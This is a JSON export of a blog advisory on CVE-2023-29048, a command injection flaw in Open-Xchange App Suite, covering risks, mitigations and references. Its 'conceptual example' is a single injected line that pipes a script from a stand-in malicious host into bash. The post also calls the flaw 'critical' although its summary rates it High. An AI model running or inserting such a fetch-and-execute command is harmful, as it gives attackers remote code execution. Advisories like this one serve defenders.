{"id":18985,"date":"2025-04-07T07:12:56","date_gmt":"2025-04-07T07:12:56","guid":{"rendered":""},"modified":"2025-09-10T23:20:10","modified_gmt":"2025-09-11T05:20:10","slug":"cve-2023-29048-remote-code-execution-via-oxmf-template-injection-in-open-xchange-app-suite","status":"publish","type":"post","link":"https:\/\/www.ameeba.com\/blog\/cve-2023-29048-remote-code-execution-via-oxmf-template-injection-in-open-xchange-app-suite\/","title":{"rendered":"CVE-2023-29048: Remote Code Execution via OXMF Template Injection in Open-Xchange App Suite"},"content":{"rendered":"<p class=\"\" data-start=\"97\" data-end=\"122\"><strong data-start=\"97\" data-end=\"122\">Vulnerability Summary<\/strong><\/p>\n<ul data-start=\"124\" data-end=\"338\">\n<li class=\"\" data-start=\"124\" data-end=\"154\">\n<p class=\"\" data-start=\"126\" data-end=\"154\"><strong data-start=\"126\" data-end=\"137\">CVE ID:<\/strong> CVE-2023-29048<\/p>\n<\/li>\n<li class=\"\" data-start=\"155\" data-end=\"199\">\n<p class=\"\" data-start=\"157\" data-end=\"199\"><strong data-start=\"157\" data-end=\"170\">Severity:<\/strong> High (CVSS 3.1 Score: 8.8)<\/p>\n<\/li>\n<li class=\"\" data-start=\"200\" data-end=\"230\">\n<p class=\"\" data-start=\"202\" data-end=\"230\"><strong data-start=\"202\" data-end=\"220\">Attack Vector:<\/strong> <a class=\"wpil_keyword_link\" href=\"https:\/\/www.ameeba.com\"   title=\"Network\" data-wpil-keyword-link=\"linked\"  data-wpil-monitor-id=\"24331\">Network<\/a><\/p>\n<\/li>\n<li class=\"\" data-start=\"231\" data-end=\"263\">\n<p class=\"\" data-start=\"233\" data-end=\"263\"><strong data-start=\"233\" data-end=\"257\">Privileges Required:<\/strong> Low<\/p>\n<\/li>\n<li class=\"\" data-start=\"264\" data-end=\"294\">\n<p class=\"\" data-start=\"266\" data-end=\"294\"><strong data-start=\"266\" data-end=\"287\">User Interaction:<\/strong> None<\/p>\n<\/li>\n<li class=\"\" data-start=\"295\" data-end=\"338\">\n<p class=\"\" data-start=\"297\" data-end=\"338\"><strong data-start=\"297\" data-end=\"308\">Impact:<\/strong> <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-22937-critical-remote-code-execution-vulnerability\/\"  data-wpil-monitor-id=\"24864\">Remote Code Execution<\/a> (RCE)<\/p>\n<\/li>\n<\/ul>\n<p class=\"\" data-start=\"340\" data-end=\"361\"><strong data-start=\"340\" data-end=\"361\">Affected Products<\/strong><\/p>\n<div class=\"pointer-events-none relative left-[50%] flex w-[100cqw] translate-x-[-50%] justify-center *:pointer-events-auto\">\n<div class=\"tableContainer horzScrollShadows\">\n<table class=\"min-w-full\" data-start=\"363\" data-end=\"483\">\n<thead data-start=\"363\" data-end=\"392\">\n<tr data-start=\"363\" data-end=\"392\">\n<th data-start=\"363\" data-end=\"371\">Product<\/th>\n<th data-start=\"371\" data-end=\"392\">Affected Versions<\/th>\n<\/tr>\n<\/thead>\n<tbody data-start=\"424\" data-end=\"483\">\n<tr data-start=\"424\" data-end=\"483\">\n<td class=\"max-w-[calc(var(--thread-content-max-width)*2\/3)]\" data-start=\"424\" data-end=\"455\">Open-Xchange App Suite backend<\/td>\n<td class=\"max-w-[calc(var(--thread-content-max-width)*2\/3)]\" data-start=\"455\" data-end=\"483\">7.10.6-rev50 and earlier<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<\/div>\n<\/div>\n<p class=\"\" data-start=\"485\" data-end=\"510\"><strong data-start=\"485\" data-end=\"510\">How the Exploit Works<\/strong><\/p>\n<p class=\"\" data-start=\"512\" data-end=\"669\"><span class=\"relative -mx-px my-[-0.2rem] rounded px-px py-[0.2rem] transition-colors duration-100 ease-in-out\">CVE-2023-29048 is a command injection <a class=\"wpil_keyword_link\" href=\"https:\/\/ameeba.com\"   title=\"vulnerability\" data-wpil-keyword-link=\"linked\"  data-wpil-monitor-id=\"24332\">vulnerability<\/a> in the Open-Xchange App Suite, specifically within the OXMF (Open-Xchange Markup Format) template parser.<\/span> <span class=\"relative -mx-px my-[-0.2rem] rounded px-px py-[0.2rem] transition-colors duration-100 ease-in-out\">The parser fails to properly sanitize user-supplied input, allowing attackers with low privileges to <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2024-21773-critical-command-injection-vulnerability-in-tp-link-routers\/\"  data-wpil-monitor-id=\"26175\">inject and execute arbitrary system commands<\/a>.<\/span> <span class=\"relative -mx-px my-[-0.2rem] rounded px-px py-[0.2rem] transition-colors duration-100 ease-in-out\">These commands run under the context of the non-privileged runtime user, potentially leading to <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-2815-unauthorized-modification-of-data-in-administrator-z-wordpress-plugin\/\"  data-wpil-monitor-id=\"29794\">unauthorized access to sensitive information and modification<\/a> of system resources.<\/span>\u200b<span class=\"ms-1 inline-flex max-w-full items-center relative top-[-0.094rem] animate-[show_150ms_ease-in]\"><a class=\"flex h-6 overflow-hidden rounded-xl px-2.5 text-[0.5625em] font-medium !text-token-text-secondary !bg-[#F4F4F4] dark:!bg-[#303030] transition-colors duration-150 ease-in-out\" href=\"https:\/\/cve.mitre.org\/cgi-bin\/cvename.cgi?name=2023-29048&amp;utm_source=chatgpt.com\" target=\"_blank\" rel=\"noopener\"><span class=\"relative start-0 bottom-0 flex h-full w-full items-center\"><span class=\"flex h-4 w-full items-center justify-between absolute\"><span class=\"max-w-full grow truncate overflow-hidden text-center\">Tenable\u00ae<\/span><span class=\"ms-1 -me-1 flex h-full items-center rounded-full px-1 text-[#8F8F8F]\">+4<\/span><\/span><span class=\"flex h-4 w-full items-center justify-between\"><span class=\"max-w-full grow truncate overflow-hidden text-center\">CVE<\/span><span class=\"ms-1 -me-1 flex h-full items-center rounded-full px-1 text-[#8F8F8F]\">+4<\/span><\/span><span class=\"flex h-4 w-full items-center justify-between absolute\"><span class=\"max-w-full grow truncate overflow-hidden text-center\">documentation.open-xchange.com<\/span><span class=\"ms-1 -me-1 flex h-full items-center rounded-full px-1 text-[#8F8F8F]\">+4<\/span><\/span><\/span><\/a><\/span><span class=\"ms-1 inline-flex max-w-full items-center relative top-[-0.094rem] animate-[show_150ms_ease-in]\"><a class=\"flex h-6 overflow-hidden rounded-xl px-2.5 text-[0.5625em] font-medium !text-token-text-secondary !bg-[#F4F4F4] dark:!bg-[#303030] transition-colors duration-150 ease-in-out\" href=\"https:\/\/seclists.org\/fulldisclosure\/2024\/Jan\/3?utm_source=chatgpt.com\" target=\"_blank\" rel=\"noopener\"><span class=\"relative start-0 bottom-0 flex h-full w-full items-center\"><span class=\"flex h-4 w-full items-center justify-between absolute\"><span class=\"max-w-full grow truncate overflow-hidden text-center\">documentation.open-xchange.com<\/span><span class=\"ms-1 -me-1 flex h-full items-center rounded-full px-1 text-[#8F8F8F]\">+3<\/span><\/span><span class=\"flex h-4 w-full items-center justify-between\"><span class=\"max-w-full grow truncate overflow-hidden text-center\">SecLists<\/span><span class=\"ms-1 -me-1 flex h-full items-center rounded-full px-1 text-[#8F8F8F]\">+3<\/span><\/span><span class=\"flex h-4 w-full items-center justify-between absolute\"><span class=\"max-w-full grow truncate overflow-hidden text-center\">CVE<\/span><span class=\"ms-1 -me-1 flex h-full items-center rounded-full px-1 text-[#8F8F8F]\">+3<\/span><\/span><\/span><\/a><\/span><\/p>\n<p class=\"\" data-start=\"671\" data-end=\"790\"><span class=\"relative -mx-px my-[-0.2rem] rounded px-px py-[0.2rem] transition-colors duration-100 ease-in-out\">The <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2023-48252-improper-authorization-vulnerability-in-bosch-rexroth-nexo-cordless-nutrunner-devices\/\"  data-wpil-monitor-id=\"25811\">vulnerability arises from improper<\/a> neutralization of special elements used in OS command execution (CWE-78).<\/span> <span class=\"relative -mx-px my-[-0.2rem] rounded px-px py-[0.2rem] transition-colors duration-100 ease-in-out\">By crafting malicious OXMF templates, an attacker can <a href=\"https:\/\/www.ameeba.com\/blog\/microsoft-s-recent-patch-a-detailed-analysis-of-the-126-flaws-and-the-actively-exploited-windows-clfs-vulnerability\/\"  data-wpil-monitor-id=\"26137\">exploit this flaw<\/a> to execute system-level commands without requiring user interaction.<\/span>\u200b<span class=\"ms-1 inline-flex max-w-full items-center relative top-[-0.094rem] animate-[show_150ms_ease-in]\"><a class=\"flex h-6 overflow-hidden rounded-xl px-2.5 text-[0.5625em] font-medium !text-token-text-secondary !bg-[#F4F4F4] dark:!bg-[#303030] transition-colors duration-150 ease-in-out\" href=\"https:\/\/documentation.open-xchange.com\/appsuite\/security\/advisories\/html\/2023\/oxas-adv-2023-0005.html?utm_source=chatgpt.com\" target=\"_blank\" rel=\"noopener\"><span class=\"relative start-0 bottom-0 flex h-full w-full items-center\"><span class=\"flex h-4 w-full items-center justify-between\"><span class=\"max-w-full grow truncate overflow-hidden text-center\">documentation.open-xchange.com<\/span><span class=\"ms-1 -me-1 flex h-full items-center rounded-full px-1 text-[#8F8F8F]\">+1<\/span><\/span><span class=\"flex h-4 w-full items-center justify-between absolute\"><span class=\"max-w-full grow truncate overflow-hidden text-center\">SecLists<\/span><span class=\"ms-1 -me-1 flex h-full items-center rounded-full px-1 text-[#8F8F8F]\">+1<\/span><\/span><\/span><\/a><\/span><\/p>\n<p class=\"\" data-start=\"792\" data-end=\"819\"><strong data-start=\"792\" data-end=\"819\">Conceptual Example Code<\/strong><\/p>\n<p class=\"\" data-start=\"821\" data-end=\"940\"><span class=\"relative -mx-px my-[-0.2rem] rounded px-px py-[0.2rem] transition-colors duration-100 ease-in-out\">While specific exploit code is not publicly available, a conceptual example involves an attacker creating a malicious OXMF template <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-52890-critical-acl-bypass-vulnerability-in-incus-system-container-and-virtual-machine-manager\/\"  data-wpil-monitor-id=\"64758\">containing embedded system<\/a> commands.<\/span> <span class=\"relative -mx-px my-[-0.2rem] rounded px-px py-[0.2rem] transition-colors duration-100 ease-in-out\">This template, when processed by the vulnerable parser, could execute commands like:<\/span>\u200b<span class=\"ms-1 inline-flex max-w-full items-center relative top-[-0.094rem] animate-[show_150ms_ease-in]\"><a class=\"flex h-6 overflow-hidden rounded-xl px-2.5 text-[0.5625em] font-medium !text-token-text-secondary !bg-[#F4F4F4] dark:!bg-[#303030] transition-colors duration-150 ease-in-out\" href=\"https:\/\/cve.mitre.org\/cgi-bin\/cvename.cgi?name=2023-29048&amp;utm_source=chatgpt.com\" target=\"_blank\" rel=\"noopener\"><span class=\"relative start-0 bottom-0 flex h-full w-full items-center\"><span class=\"flex h-4 w-full items-center justify-between absolute\"><span class=\"max-w-full grow truncate overflow-hidden text-center\">SecLists<\/span><span class=\"ms-1 -me-1 flex h-full items-center rounded-full px-1 text-[#8F8F8F]\">+3<\/span><\/span><span class=\"flex h-4 w-full items-center justify-between\"><span class=\"max-w-full grow truncate overflow-hidden text-center\">CVE<\/span><span class=\"ms-1 -me-1 flex h-full items-center rounded-full px-1 text-[#8F8F8F]\">+3<\/span><\/span><span class=\"flex h-4 w-full items-center justify-between absolute\"><span class=\"max-w-full grow truncate overflow-hidden text-center\">NVD<\/span><span class=\"ms-1 -me-1 flex h-full items-center rounded-full px-1 text-[#8F8F8F]\">+3<\/span><\/span><\/span><\/a><\/span><\/p>\n<div class=\"contain-inline-size rounded-md border-[0.5px] border-token-border-medium relative bg-token-sidebar-surface-primary\">\n<div class=\"overflow-y-auto p-4\" dir=\"ltr\"><code class=\"whitespace-pre! language-bash\">$(curl http:\/\/malicious-server.com\/payload.sh | bash)<\/code><\/div>\n<\/div>\n<p class=\"\" data-start=\"1054\" data-end=\"1139\"><span class=\"relative -mx-px my-[-0.2rem] rounded px-px py-[0.2rem] transition-colors duration-100 ease-in-out\">In this example, the injected command fetches and <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2023-52030-critical-remote-code-execution-vulnerability-in-totolink-a3700r\/\"  data-wpil-monitor-id=\"25059\">executes a script from a remote<\/a> server, potentially compromising the system.<\/span>\u200b<\/p>\n<p class=\"\" data-start=\"1141\" data-end=\"1160\"><strong data-start=\"1141\" data-end=\"1160\">Potential Risks<\/strong><\/p>\n<ul data-start=\"1162\" data-end=\"1513\">\n<li class=\"\" data-start=\"1162\" data-end=\"1249\">\n<p class=\"\" data-start=\"1164\" data-end=\"1249\"><span class=\"relative -mx-px my-[-0.2rem] rounded px-px py-[0.2rem] transition-colors duration-100 ease-in-out\">Execution of arbitrary system commands<\/span>\u200b<span class=\"ms-1 inline-flex max-w-full items-center relative top-[-0.094rem] animate-[show_150ms_ease-in]\"><a class=\"flex h-6 overflow-hidden rounded-xl px-2.5 text-[0.5625em] font-medium !text-token-text-secondary !bg-[#F4F4F4] dark:!bg-[#303030] transition-colors duration-150 ease-in-out\" href=\"https:\/\/nvd.nist.gov\/vuln\/detail\/cve-2023-29048?utm_source=chatgpt.com\" target=\"_blank\" rel=\"noopener\"><span class=\"relative start-0 bottom-0 flex h-full w-full items-center\"><span class=\"flex h-4 w-full items-center justify-between absolute\"><span class=\"max-w-full grow truncate overflow-hidden text-center\">SecLists<\/span><span class=\"ms-1 -me-1 flex h-full items-center rounded-full px-1 text-[#8F8F8F]\">+3<\/span><\/span><span class=\"flex h-4 w-full items-center justify-between\"><span class=\"max-w-full grow truncate overflow-hidden text-center\">NVD<\/span><span class=\"ms-1 -me-1 flex h-full items-center rounded-full px-1 text-[#8F8F8F]\">+3<\/span><\/span><span class=\"flex h-4 w-full items-center justify-between absolute\"><span class=\"max-w-full grow truncate overflow-hidden text-center\">CVE<\/span><span class=\"ms-1 -me-1 flex h-full items-center rounded-full px-1 text-[#8F8F8F]\">+3<\/span><\/span><\/span><\/a><\/span><\/p>\n<\/li>\n<li class=\"\" data-start=\"1250\" data-end=\"1337\">\n<p class=\"\" data-start=\"1252\" data-end=\"1337\"><span class=\"relative -mx-px my-[-0.2rem] rounded px-px py-[0.2rem] transition-colors duration-100 ease-in-out\">Unauthorized access to confidential information<\/span>\u200b<span class=\"ms-1 inline-flex max-w-full items-center relative top-[-0.094rem] animate-[show_150ms_ease-in]\"><a class=\"flex h-6 overflow-hidden rounded-xl px-2.5 text-[0.5625em] font-medium !text-token-text-secondary !bg-[#F4F4F4] dark:!bg-[#303030] transition-colors duration-150 ease-in-out\" href=\"https:\/\/cve.mitre.org\/cgi-bin\/cvename.cgi?name=2023-29048&amp;utm_source=chatgpt.com\" target=\"_blank\" rel=\"noopener\"><span class=\"relative start-0 bottom-0 flex h-full w-full items-center\"><span class=\"flex h-4 w-full items-center justify-between overflow-hidden\"><span class=\"max-w-full grow truncate overflow-hidden text-center\">CVE<\/span><\/span><\/span><\/a><\/span><\/p>\n<\/li>\n<li class=\"\" data-start=\"1338\" data-end=\"1425\">\n<p class=\"\" data-start=\"1340\" data-end=\"1425\"><span class=\"relative -mx-px my-[-0.2rem] rounded px-px py-[0.2rem] transition-colors duration-100 ease-in-out\">Modification of system resources<\/span>\u200b<span class=\"ms-1 inline-flex max-w-full items-center relative top-[-0.094rem] animate-[show_150ms_ease-in]\"><a class=\"flex h-6 overflow-hidden rounded-xl px-2.5 text-[0.5625em] font-medium !text-token-text-secondary !bg-[#F4F4F4] dark:!bg-[#303030] transition-colors duration-150 ease-in-out\" href=\"https:\/\/cve.mitre.org\/cgi-bin\/cvename.cgi?name=2023-29048&amp;utm_source=chatgpt.com\" target=\"_blank\" rel=\"noopener\"><span class=\"relative start-0 bottom-0 flex h-full w-full items-center\"><span class=\"flex h-4 w-full items-center justify-between\"><span class=\"max-w-full grow truncate overflow-hidden text-center\">CVE<\/span><span class=\"ms-1 -me-1 flex h-full items-center rounded-full px-1 text-[#8F8F8F]\">+1<\/span><\/span><span class=\"flex h-4 w-full items-center justify-between absolute\"><span class=\"max-w-full grow truncate overflow-hidden text-center\">SecLists<\/span><span class=\"ms-1 -me-1 flex h-full items-center rounded-full px-1 text-[#8F8F8F]\">+1<\/span><\/span><\/span><\/a><\/span><\/p>\n<\/li>\n<li class=\"\" data-start=\"1426\" data-end=\"1513\">\n<p class=\"\" data-start=\"1428\" data-end=\"1513\"><span class=\"relative -mx-px my-[-0.2rem] rounded px-px py-[0.2rem] transition-colors duration-100 ease-in-out\">Potential for further exploitation or lateral movement within the network<\/span>\u200b<\/p>\n<\/li>\n<\/ul>\n<p class=\"\" data-start=\"1515\" data-end=\"1545\"><strong data-start=\"1515\" data-end=\"1545\">Mitigation Recommendations<\/strong><\/p>\n<ul data-start=\"1547\" data-end=\"2018\">\n<li class=\"\" data-start=\"1547\" data-end=\"1659\">\n<p class=\"\" data-start=\"1549\" data-end=\"1659\"><strong data-start=\"1549\" data-end=\"1573\">Update the Software:<\/strong> <span class=\"relative -mx-px my-[-0.2rem] rounded px-px py-[0.2rem] transition-colors duration-100 ease-in-out\">Upgrade to Open-Xchange App <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-51055-insecure-data-storage-vulnerability-in-vedo-suite-version-2024-17\/\"  data-wpil-monitor-id=\"81597\">Suite backend version<\/a> 7.10.6-rev51 or later, where the vulnerability has been patched.<\/span>\u200b<span class=\"ms-1 inline-flex max-w-full items-center relative top-[-0.094rem] animate-[show_150ms_ease-in]\"><a class=\"flex h-6 overflow-hidden rounded-xl px-2.5 text-[0.5625em] font-medium !text-token-text-secondary !bg-[#F4F4F4] dark:!bg-[#303030] transition-colors duration-150 ease-in-out\" href=\"https:\/\/seclists.org\/fulldisclosure\/2024\/Jan\/3?utm_source=chatgpt.com\" target=\"_blank\" rel=\"noopener\"><span class=\"relative start-0 bottom-0 flex h-full w-full items-center\"><span class=\"flex h-4 w-full items-center justify-between absolute\"><span class=\"max-w-full grow truncate overflow-hidden text-center\">Tenable\u00ae<\/span><span class=\"ms-1 -me-1 flex h-full items-center rounded-full px-1 text-[#8F8F8F]\">+3<\/span><\/span><span class=\"flex h-4 w-full items-center justify-between\"><span class=\"max-w-full grow truncate overflow-hidden text-center\">SecLists<\/span><span class=\"ms-1 -me-1 flex h-full items-center rounded-full px-1 text-[#8F8F8F]\">+3<\/span><\/span><span class=\"flex h-4 w-full items-center justify-between absolute\"><span class=\"max-w-full grow truncate overflow-hidden text-center\">documentation.open-xchange.com<\/span><span class=\"ms-1 -me-1 flex h-full items-center rounded-full px-1 text-[#8F8F8F]\">+3<\/span><\/span><\/span><\/a><\/span><\/p>\n<\/li>\n<li class=\"\" data-start=\"1660\" data-end=\"1781\">\n<p class=\"\" data-start=\"1662\" data-end=\"1781\"><strong data-start=\"1662\" data-end=\"1695\">Restrict Template Processing:<\/strong> <span class=\"relative -mx-px my-[-0.2rem] rounded px-px py-[0.2rem] transition-colors duration-100 ease-in-out\">Limit the ability to <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-32206-unrestricted-file-upload-vulnerability-in-labcat-processing-projects\/\"  data-wpil-monitor-id=\"32110\">upload<\/a> or process OXMF templates to trusted users only.<\/span>\u200b<span class=\"ms-1 inline-flex max-w-full items-center relative top-[-0.094rem] animate-[show_150ms_ease-in]\"><a class=\"flex h-6 overflow-hidden rounded-xl px-2.5 text-[0.5625em] font-medium !text-token-text-secondary !bg-[#F4F4F4] dark:!bg-[#303030] transition-colors duration-150 ease-in-out\" href=\"https:\/\/nvd.nist.gov\/vuln\/detail\/cve-2023-29048?utm_source=chatgpt.com\" target=\"_blank\" rel=\"noopener\"><span class=\"relative start-0 bottom-0 flex h-full w-full items-center\"><span class=\"flex h-4 w-full items-center justify-between absolute\"><span class=\"max-w-full grow truncate overflow-hidden text-center\">CVE<\/span><span class=\"ms-1 -me-1 flex h-full items-center rounded-full px-1 text-[#8F8F8F]\">+3<\/span><\/span><span class=\"flex h-4 w-full items-center justify-between\"><span class=\"max-w-full grow truncate overflow-hidden text-center\">NVD<\/span><span class=\"ms-1 -me-1 flex h-full items-center rounded-full px-1 text-[#8F8F8F]\">+3<\/span><\/span><span class=\"flex h-4 w-full items-center justify-between absolute\"><span class=\"max-w-full grow truncate overflow-hidden text-center\">documentation.open-xchange.com<\/span><span class=\"ms-1 -me-1 flex h-full items-center rounded-full px-1 text-[#8F8F8F]\">+3<\/span><\/span><\/span><\/a><\/span><\/p>\n<\/li>\n<li class=\"\" data-start=\"1782\" data-end=\"1901\">\n<p class=\"\" data-start=\"1784\" data-end=\"1901\"><strong data-start=\"1784\" data-end=\"1815\">Implement Input Validation:<\/strong> <span class=\"relative -mx-px my-[-0.2rem] rounded px-px py-[0.2rem] transition-colors duration-100 ease-in-out\">Ensure that all user-supplied <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-31234-input-sanitization-flaw-leading-to-system-termination-and-kernel-memory-corruption\/\"  data-wpil-monitor-id=\"64759\">input is properly sanitized<\/a> and validated before processing.<\/span>\u200b<\/p>\n<\/li>\n<li class=\"\" data-start=\"1902\" data-end=\"2018\">\n<p class=\"\" data-start=\"1904\" data-end=\"2018\"><strong data-start=\"1904\" data-end=\"1932\">Monitor System Activity:<\/strong> <span class=\"relative -mx-px my-[-0.2rem] rounded px-px py-[0.2rem] transition-colors duration-100 ease-in-out\">Regularly audit system logs and monitor for unusual <a href=\"https:\/\/www.ameeba.com\/blog\/unmasking-tcesb-malware-a-deep-analysis-of-active-attacks-exploiting-eset-security-scanner\/\"  data-wpil-monitor-id=\"29795\">activities that could indicate exploitation<\/a> attempts.<\/span>\u200b<\/p>\n<\/li>\n<\/ul>\n<p class=\"\" data-start=\"2020\" data-end=\"2034\"><strong data-start=\"2020\" data-end=\"2034\">Conclusion<\/strong><\/p>\n<p class=\"\" data-start=\"2036\" data-end=\"2161\"><span class=\"relative -mx-px my-[-0.2rem] rounded px-px py-[0.2rem] transition-colors duration-100 ease-in-out\">CVE-2023-29048 is a critical vulnerability in the <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2023-6140-arbitrary-file-upload-vulnerability-in-essential-real-estate-wordpress-plugin\/\"  data-wpil-monitor-id=\"24590\">Open-Xchange App Suite that allows low-privileged users to execute<\/a> arbitrary system commands through malicious OXMF templates.<\/span> <span class=\"relative -mx-px my-[-0.2rem] rounded px-px py-[0.2rem] transition-colors duration-100 ease-in-out\">Organizations using affected versions should promptly apply the recommended updates and implement additional <a class=\"wpil_keyword_link\" href=\"https:\/\/chat.ameeba.com\"   title=\"security\" data-wpil-keyword-link=\"linked\"  data-wpil-monitor-id=\"24333\">security<\/a> measures to mitigate potential risks.<\/span>\u200b<\/p>\n<p class=\"\" data-start=\"2163\" data-end=\"2177\"><strong data-start=\"2163\" data-end=\"2177\">References<\/strong><\/p>\n<ul data-start=\"2179\" data-end=\"2598\">\n<li class=\"\" data-start=\"2179\" data-end=\"2254\">\n<p class=\"\" data-start=\"2181\" data-end=\"2254\"><a class=\"\" href=\"https:\/\/nvd.nist.gov\/vuln\/detail\/CVE-2023-29048\" target=\"_new\" rel=\"noopener\" data-start=\"2181\" data-end=\"2252\">NVD \u2013 CVE-2023-29048<\/a><\/p>\n<\/li>\n<li class=\"\" data-start=\"2255\" data-end=\"2413\">\n<p class=\"\" data-start=\"2257\" data-end=\"2413\"><a class=\"\" href=\"https:\/\/documentation.open-xchange.com\/appsuite\/security\/advisories\/html\/2023\/oxas-adv-2023-0005.html\" target=\"_new\" rel=\"noopener\" data-start=\"2257\" data-end=\"2411\">Open-Xchange Security Advisory OXAS-ADV-2023-0005<\/a><\/p>\n<\/li>\n<li class=\"\" data-start=\"2414\" data-end=\"2517\">\n<p class=\"\" data-start=\"2416\" data-end=\"2517\"><a class=\"\" href=\"https:\/\/seclists.org\/fulldisclosure\/2024\/Jan\/3\" target=\"_new\" rel=\"noopener\" data-start=\"2416\" data-end=\"2515\">Full Disclosure Mailing List \u2013 OXAS-ADV-2023-0005<\/a><\/p>\n<\/li>\n<li class=\"\" data-start=\"2518\" data-end=\"2598\">\n<p class=\"\" data-start=\"2520\" data-end=\"2598\"><a class=\"\" href=\"https:\/\/www.tenable.com\/cve\/CVE-2023-29048\/cpes\" target=\"_new\" rel=\"noopener\" data-start=\"2520\" data-end=\"2598\">Tenable CVE-2023-29048 CPEs<\/a><\/p>\n<\/li>\n<\/ul>\n","protected":false},"excerpt":{"rendered":"<p>Vulnerability Summary CVE ID: CVE-2023-29048 Severity: High (CVSS 3.1 Score: 8.8) Attack Vector: Network Privileges Required: Low User Interaction: None Impact: Remote Code Execution (RCE) Affected Products Product Affected Versions Open-Xchange App Suite backend 7.10.6-rev50 and earlier How the Exploit Works CVE-2023-29048 is a command injection vulnerability in the Open-Xchange App Suite, specifically within the [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"om_disable_all_campaigns":false,"_monsterinsights_skip_tracking":false,"footnotes":""},"categories":[1],"tags":[],"vendor":[],"product":[],"attack_vector":[78,80],"asset_type":[],"severity":[],"exploit_status":[],"class_list":["post-18985","post","type-post","status-publish","format-standard","hentry","category-uncategorized","attack_vector-injection","attack_vector-rce"],"aioseo_notices":[],"aioseo_head":"\n\t\t<!-- All in One SEO 5.0.4 - aioseo.com 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Blog","og:description":"Vulnerability Summary CVE ID: CVE-2023-29048 Severity: High (CVSS 3.1 Score: 8.8) Attack Vector: Network Privileges Required: Low User Interaction: None Impact: Remote Code Execution (RCE) Affected Products Product Affected Versions Open-Xchange App Suite backend 7.10.6-rev50 and earlier How the Exploit Works CVE-2023-29048 is a command injection vulnerability in the Open-Xchange App Suite, specifically within the","og:url":"https:\/\/www.ameeba.com\/blog\/cve-2023-29048-remote-code-execution-via-oxmf-template-injection-in-open-xchange-app-suite\/","og:image":"https:\/\/www.ameeba.com\/blog\/wp-content\/uploads\/2025\/02\/image-5.png","og:image:secure_url":"https:\/\/www.ameeba.com\/blog\/wp-content\/uploads\/2025\/02\/image-5.png","article:published_time":"2025-04-07T07:12:56+00:00","article:modified_time":"2025-09-11T05:20:10+00:00","twitter:card":"summary_large_image","twitter:title":"CVE-2023-29048: Remote Code Execution via OXMF Template Injection in Open-Xchange App Suite - Ameeba Blog","twitter:description":"Vulnerability Summary CVE ID: CVE-2023-29048 Severity: High (CVSS 3.1 Score: 8.8) Attack Vector: Network Privileges Required: Low User Interaction: None Impact: Remote Code Execution (RCE) Affected Products Product Affected Versions Open-Xchange App Suite backend 7.10.6-rev50 and earlier How the Exploit Works CVE-2023-29048 is a command injection vulnerability in the Open-Xchange App Suite, specifically within the","twitter:image":"https:\/\/www.ameeba.com\/blog\/wp-content\/uploads\/2025\/02\/image-5.png"},"aioseo_meta_data":{"post_id":"18985","title":null,"description":null,"keywords":null,"keyphrases":{"focus":{"keyphrase":"","score":0,"analysis":{"keyphraseInTitle":{"score":0,"maxScore":9,"error":1}}},"additional":[]},"primary_term":null,"canonical_url":null,"og_title":null,"og_description":null,"og_object_type":"default","og_image_type":"default","og_image_url":null,"og_image_width":null,"og_image_height":null,"og_image_custom_url":null,"og_image_custom_fields":null,"og_video":"","og_custom_url":null,"og_article_section":null,"og_article_tags":null,"twitter_use_og":false,"twitter_card":"default","twitter_image_type":"default","twitter_image_url":null,"twitter_image_custom_url":null,"twitter_image_custom_fields":null,"twitter_title":null,"twitter_description":null,"schema":{"blockGraphs":[],"customGraphs":[],"default":{"data":{"Article":[],"Course":[],"Dataset":[],"FAQPage":[],"Movie":[],"Person":[],"Product":[],"ProductReview":[],"Car":[],"Recipe":[],"Service":[],"SoftwareApplication":[],"WebPage":[]},"graphName":"BlogPosting","isEnabled":true},"graphs":[]},"schema_type":"default","schema_type_options":null,"pillar_content":false,"robots_default":true,"robots_noindex":false,"robots_noarchive":false,"robots_nosnippet":false,"robots_nofollow":false,"robots_noimageindex":false,"robots_noodp":false,"robots_notranslate":false,"robots_max_snippet":"-1","robots_max_videopreview":"-1","robots_max_imagepreview":"large","priority":null,"frequency":"default","local_seo":null,"limit_modified_date":false,"created":"2025-04-07 07:24:05","updated":"2026-04-05 12:09:29","focus_keyword":null,"additional_keywords":null,"truseo_locale":null,"ai":null,"breadcrumb_settings":null,"seo_analyzer_scan_date":null},"aioseo_breadcrumb":"<div class=\"aioseo-breadcrumbs\"><span class=\"aioseo-breadcrumb\">\n\t\t\t<a href=\"https:\/\/www.ameeba.com\/blog\/\" title=\"Home\">Home<\/a>\n\t\t<\/span><span class=\"aioseo-breadcrumb-separator\">\u00bb<\/span><span class=\"aioseo-breadcrumb\">\n\t\t\t<a href=\"https:\/\/www.ameeba.com\/blog\/category\/uncategorized\/\" title=\"Uncategorized\">Uncategorized<\/a>\n\t\t<\/span><span class=\"aioseo-breadcrumb-separator\">\u00bb<\/span><span class=\"aioseo-breadcrumb\">\n\t\t\tCVE-2023-29048: Remote Code Execution via OXMF Template Injection in Open-Xchange App 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